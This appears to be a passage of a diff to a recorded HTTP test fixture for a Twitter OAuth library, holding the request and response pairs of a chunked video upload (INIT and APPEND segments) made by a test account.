:\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254206535166763008\\\/pu\\\/img\\\/MKS-slO_VH066gld.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/nQbFmnj7Dq\",\"display_url\":\"pic.twitter.com\\\/nQbFmnj7Dq\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/oauthlibtest\\\/status\\\/1254206652397617152\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"large\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":560,\"h\":320,\"resize\":\"fit\"},\"medium\":{\"w\":560,\"h\":320,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[7,4],\"duration_millis\":5568,\"variants\":[{\"bitrate\":256000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254206535166763008\\\/pu\\\/vid\\\/314x180\\\/HtzyDH6Gqdl5UDwM.mp4?tag=1\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254206535166763008\\\/pu\\\/pl\\\/RPouBvpOym-0X8Yr.m3u8?tag=1\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/twitteroauth.com\\\" rel=\\\"nofollow\\\"\\u003eTwitterOAuth dev\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":6,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"cOKZmxZ5f3bxiwWU%2B1cJ9hWpUL4%3D\"", + "Expect": null + }, + "body": "command=INIT&media_type=video%2Fmp4&total_bytes=383631" + }, + "response": { + "status": { + "http_version": "2", + "code": "202", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "101", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:54 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:54 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_0CYjFmw6Rjdl\/xKmqvzf4g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:54 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111466374311; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:54 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "202 Accepted", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "448b96791c0d13223e24f9c1edc4a7fa", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "200", + "x-rate-limit-remaining": "198", + "x-rate-limit-reset": "1587864355", + "x-response-time": "28", + "x-transaction": "009da55c002c6fca", + "x-tsa-request-body-time": "1", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + }, + "body": "{\"media_id\":1254206535166763008,\"media_id_string\":\"1254206535166763008\",\"expires_after_secs\":86399}" + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC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ment_index=0" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:55 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:55 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_nf5FTSJ6nKSAgJW1o\/tyHw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111509343626; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "66751beaca35821b237cd01221b29bb3", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19952", + "x-rate-limit-reset": "1587864356", + "x-response-time": "30", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00709e2d0087a955", + "x-tsa-request-body-time": "96", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"4%2FSmelybPMeReVEoi9MliJPncq8%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=HhT3ZoZ0Mo0%2FAFKQ1y%2F5V7TSNZ0%2Fxj7%2Fn2N83rrgkGEmCNhQZO3MQmiMxZ7yAjFXMSvMSrGrIn9YncwJVFZSRWJxWkASorqJ4tpSUzYLCBQl0ThcsulVR6gId5V532%2F%2Fqq1HH%2BhxHnP4c9arVSLOn2%2F%2F%2F6HSYVOfZ7j8Lb6W%2BoOUjpMR3Ptf%2F%2F9BYQ7u1d9Ov%2F%2Fobve72uvt%2BzBFRPQ1iqiyRkecbHSmjBwOVn3wliZBfKkixOonrXmlitnhaqK7aXrUYxlKIl%2Fn2xG6eyhBDA2nCS3cr4K%2FHb%2Fe2EVL0Z4jrhSICAICNoejFHieb%2Fh3cAIcehc1F7UYIs3rAgAaACiwwgRQ0wASev5mLIhnSeDGAaMTFcaZ8Qoq84Fg2yqTLQrPAYmWaThszgB5OmiaJYpoqqTvJMZrxPo3%2FvH2XB6sxSU4JzKi8mbC%2B2s8xIPqXjW7qM73PB0BEWRlYGT8S5e8I39aWZAzURsPEyypqgw9wIifzwwPczcFIBeH%2FnQMIBCBXwgH2Xc9oCL3AN7TUR0bXerFqdBScBgytd0dgj4MOwySL7Jq%2Fsh8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Xl%2F0RXXvcGEHcggdjKaWMmJbbSw33bcEoAM4xHeMdAabLkDTiI9fYFw8qomxgNfa5N5ELIypjK4RS95%2FtJWcNySTBx4M%2FyLcHKOEO6GVaHW6VCMkc8IELIQDgBhWLHbEmTwD2BOrwFnndWprVjU5ZJ8zLhNVGC8bENrXvfyb926Qfifyjyl0nMoMNSBgEn3Gu9dWS%2BvijDbRKhKiAzseFyDvFilmR2eoHGNdBtKXd6COy33JKwP5WJ03aCeh05b9G1CvHLDG1HCLgMLs8PjoswVv%2FokWBGcOMG8E2gr2fImYAcwDPL1vNKYrXlgj%2FJauQpRSAIu%2BQLKVzPD83nM42oUnTF8W%2FfDwcApsF5HVD5sfqQN2QLTq41j%2FwSh2aPGJSKNsltN7wsk%3D&media_id=1254206535166763008&segment_index=1" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:55 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:55 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_Z3hFEsqm1\/ZZt8JdhNbQBw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111552419044; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "57f08b9e5acd38f1913056871cbaa928", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19951", + "x-rate-limit-reset": "1587864356", + "x-response-time": "35", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00cd0d7300ac94a5", + "x-tsa-request-body-time": "98", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"nLcH8ZfnQD1ew8r9o8aBL3Ot9b4%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=cZis%2FifBlNa7A0NoHhJGn8G6eEq8WBcfz7W2aYVDKVFw0V3ij%2FvbOgM7QDLsufz%2Bshig7Lzag4%2F668kA8c1AjLBTrfYSd3vDMJMswY3hyhyqgfuaM0Qvj9nMnYoXYCTWJ0tjs9luPdqPDDABrQwAwPBFxAzEBWCTUxYWXWQFiiETwaagBSjIZ1FaiAKrigK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u2nu6VeCUghJAR%2FUqG5tl%2FYvKvFFsh3wn%2BPjqwpLH9i1x05PtcaJaq3dKlpZ7xfYR9arvccSpTHYyAy7vgD5Z5f97BRppjI5VXxZf%2FUJQlXJdOPtXkv4vYG5LAx2J0pCBAbvIrCekCDS%2Bv4b9R78%2BW4%2Bevz7P4Ez26f6HK76eey%2F%2F%2FWr61WltVQUee3fxnwSGu%2FMVyCXfXMaU2UycjPlKDcS5UVsmi%2F%2FmuKz1%2FCVz7tV6SL27woRpVs58KCsfN3pESGLfZZ3EEGBbRdgnJPpHpuQzHuy%2F3pdQufGmTCEUcTo2cdH%2Bvl5xdmwV8I0cJ2DxB9ZrrmXAEfdwVa6ZSMv3fQKDQ%2BPMIWEjyO2lsvr%2BCc4d8s98IvPJ6Y%2BFbMISR5IawfwK5J5ff9E6NWonSvm%2Bor1%2BvBFNxJp4clyGl6ysF3dwxqIt3%2BI0lD49mLov6%2BaTDU0%2F34SK0mIjDLm393hihkI62OyqJ%2BBQcitiMCic7vCEGp87HguI4ZMZZnDgsxjz7L9eozgxvLdzRUTnxLAgfI%2Bv9vmAvF4ZNyBYlOuBKva4Ucy%2FdN4LCzhQyRwYvGZW%2FPTz4glkuU8YWdUhen4iYiWhKjBx1kV%2FtC3R4JcSS%2Fz0TR8fjh5x4Jp4c0ef98EZWBUEKryuid9eqEPPror0K%2Fr9XkVfwpQ5UKmNvhMz%2BqwxzJYAARjetIAdh4fj4wWD%2BYfBW%2BYPS1NjAjhzVUIiuv5f%2FLBbGwcEjbHeJleMTYMTpre4drWXDQWcxLAMC902le6jNQpM%3D&media_id=1254206535166763008&segment_index=2" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:55 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:55 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_88U7rKO142Yu9lpXA3dvDQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111596910130; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:55 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "2d61f65deb660b6f9e5e929bca5f938b", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19950", + "x-rate-limit-reset": "1587864356", + "x-response-time": "29", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00f384e80016b72d", + "x-tsa-request-body-time": "97", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"bwZdhRo4krHJwyv9210UsR9Fb4c%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=%2Ft2vhfWOerfIY22EHX5DMlPC1hyWaPi4szL5nWUqN%2B%2F8EmjuQWX%2BTUZuVRn%2F0ypMS%2B52a3rrB8XwMbC3QFsw5M%2FiSEVRgQHNcLX9W1xXd8NweikwF4JC1YJ%2Bp5LI0Tr5PJX4vUElmtkxtx8FBU2E%2Bgc%2BC5xJdWrq%2Fil65a1XRL0X%2FXF8kua%2Fl4d3hQPxECF6NCbv%2BOOP5S2SREDL%2FvYIY%2Bz4qSpBfQR8uGIVX6fbf5fJV%2FfmMXJ8%2BCITDvuzv9ShZf3ckImrZAPblwv9yr%2B9z%2F%2BQlT46qmNcJ3qb6p6glK8YjAQveQSiA%2BtvglJezOyj965OWm%2FNSLg%2F5WZdgpPtPbv7LRx619Yqiv1b0rVFVrpVurS7fIQhkGObPL%2Buognx%2F1zwtS%2F6k63EnPn0EjIaXXU3NZDcjL3BEZkCzGn22aT1V8v7q5o2yfnyQRRpp54frlmyjRrorVyz3%2FBJdx%2FtzX0KfFSrxKtl9i%2BEfja9l%2Fa%2F6tXWDxFtVy%2BSv5fXXZnN%2Br7W4bPtKrU%2F%2FbqrlXWqjq13W9cERI21%2FnfL7r5ST53qrilUEXU46%2FVYuSCTxpjF9CfYrDuN9K%2BK19e2%2BvfW9dWvr1rB14sNLkgKIEdSY377ut3CyZeTyUVK91H2%2BkTMY5za1ya2tcM1i%2BuX1ar4AAAFuEGaAQBKBX%2Bhd6L%2F%2FQj6lYv1ixH9Kx86kT%2F9cupavwRXfftX%2FVljMV5fCKv9f%2F%2Fq%2F%2F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VFfyeXwIWiP2rHcmFderVdWrviq5V6uKXX69Xr2IJSfr1dL3d%2BuH7KkVtNYdZ5imWRz%2F156%2BOonQypKfDdHDqElSf8bmhjTk%2Bif9v%2FJIKRHe2vYSV19v%2BLu1eJ5ataibBdfPHI3t3YbWK7m6XKp%2FCdcu%2B5uLxC%2Fr6S1r9e%2FX1esV%2Bevuyf89Uzb%2Bv%2FXpoM7wU69Wd16kT4mT17uh3y%2FWYb7VirWVXVnr8YM2W%2F7rpXurT%2FdSyeu%2Fcly%2BuX6uVp%2Fqd4dnr9RV9%2Fr365f9rLu75Ve7qiFe7XUvS9a4nq%2B6L9P4W6NUn9ke8qK7Y0NGNbQLXqxXrF%2BtXX2rF6r3Wr1XW1Ejv6r%2FWD9eqzeHUhv1c%2FPco7v%2FwRXptuZPP%2F%2FWu3lgwP2qdbPcZkgYifP32TjdXgQlBHWaEpda9CfoteteYjcZBU%2FhK%2BwCRq5gwHYI7Es4YD1erd9rFXn6%2FmoUl8FtJBv0GOhAvfouFWial3XvtWrVWVtr3yd9VerO5PVgvRTlXlIm1%2FJ0Mv%2BEtDe8qT8EZc%2F1%2BCckiixyr%2BpLBDzXKvXv1yqtWrkuVRfc8vLfq0nicvod7P5Z3NsD%2FFcYLj7cogO%2Fwsd9ktakExxuKioL16NBfn5UORhP%2FgkpMHNXv1g%3D&media_id=1254206535166763008&segment_index=3" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:56 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:56 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_ym+XMOREfW7lUyL9cNn5Lw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:56 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111637858926; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:56 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "52661200a02716e08b016e8b92bbd104", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19949", + "x-rate-limit-reset": "1587864356", + "x-response-time": "33", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00774e2e006bde3f", + "x-tsa-request-body-time": "61", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"fHQi2UNYdgEsY5rA%2F7OeMFPv0II%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=L8MbIiX2k1ohoWDf7r67WKrx3LeEc2mr3dXXrh3IX1%2FcajIHeXy%2FdUy287%2F5a1vz%2BxyBmU%2FrzWEOkPr1avmL%2F%2FN6L0nrPXs1Nfzd1Lfd%2BeqRwwYxG%2Fuyff%2B7Gg46Y%2BisXTS3J61Xqz9ar1cfDGsmapqkXf0X%2FXZOZuyWbHbfgiKlav%2BKy7Gjhcx7%2FWCrDfjpjpw8wNV8vgvIZSlvQ6%2BMFB6a8FtUXqh5VCT%2BJyV169J6Ky%2FRur16vOVfQEkmcX%2Bvfr36t%2BFb2t7NUAySaspnJ156oJI6bof9X7JWv5o%2Fj%2B2c4Tf%2BC2um2dmzOn6M5%2Bu%2F5ZqEg%2BvFlzpXq33MmT%2FRsq9F6rv16vZJae%2B6s2an9Fb82616wcqmSnf2jQfkE1S%2FVx8Eld6r0Rju%2FRGdrlXoXGK85lmkrxr936sI6Vn1euHrVrvJYJKOat2T79c248ISB%2FBGRdOq9e%2FP69pv%2FhquvpxhODISol%2Brr1YLwRW26xbdSc9Nvn%2FP25Mbf%2FWXaxdrX4ZzpJUj%2FN85pDv36K%2FL3eJCFeuv1yr1qnejVfm2bTtOT32iveXt%2F6Ra%2FRsu6J9%2Bubs3q%2BtVw81ampUV%2B%2F1l2pgddK6VvpYuiVTyS68u%2FVxoVW%2F4Ie7vccTjvVeuVa%2B7MfH%2FqzAAAAOyQZoDgOoFfdcV%2FQhcRFq7Vz9cq9a%2BNkvuVvCVE8f%2B6iXf%2BrKtX%2FVzvtek9XehC9J6snteuUEfcsWq%2F1hjat9fS9cwnjifVeEv3%2B6tdl2r9zeuXf69fr2O1l%2BCTdO5fgkmtPcqwnVLKNMNfwQyDFLa4fXv16%2FVv1bHLjFYJv6sV698R1L3a98tevS%2BvVatjucH6uv0O1RfJ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csJFqpYjt8n1pD131WZRUwaCPRMGeG9Tngv45TBwBJhSQjBQLBQTEgLFQLCQzBUKBYMBQJCMJDMKd9O64cy6KLzQJSYVpeL0PyfyH%2F4fNfAvqten4z9224%2BfO7GdfcBdVIq71Nta93w4trln6vB5cvoVMm%2BXkMH8R3PxTfnedU22hVYxw%2FHb11fsqD%2Bz0ueqsh%2Fws%2BTE%2B7R5h6VDz5Un9%2BrU4oe1YLvqDI4BVaa%2B1MIShXw6cRBn0dx0Gl02vU%2BeY1EZZr2Vwh5aGB9o0IFkAU4h%2BDTOXvr6%2F5F%2Bm8RuBjSezjIKF%2Fe80JkS60p%2BThzL003MVPgavT2LG4LLUeJaLULwYvYA4ASQUkIwUCYlCwYCgWLAWCgmCgVChVCgmCoSIITCIXNazr1cyuN7hJqskqSqKS5lrscT2%2F9xqT3l4%2F639N8VHn07n2ui9bX6dhdc%3D&media_id=1254206535166763008&segment_index=4" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:56 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:56 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_I9quZtwyjvi7QmIAdNIoZA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:56 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111683115618; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:56 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "1b8ffb9cd61bec2529599abe8a434732", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19948", + "x-rate-limit-reset": "1587864356", + "x-response-time": "40", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00a1c7e7007f92ae", + 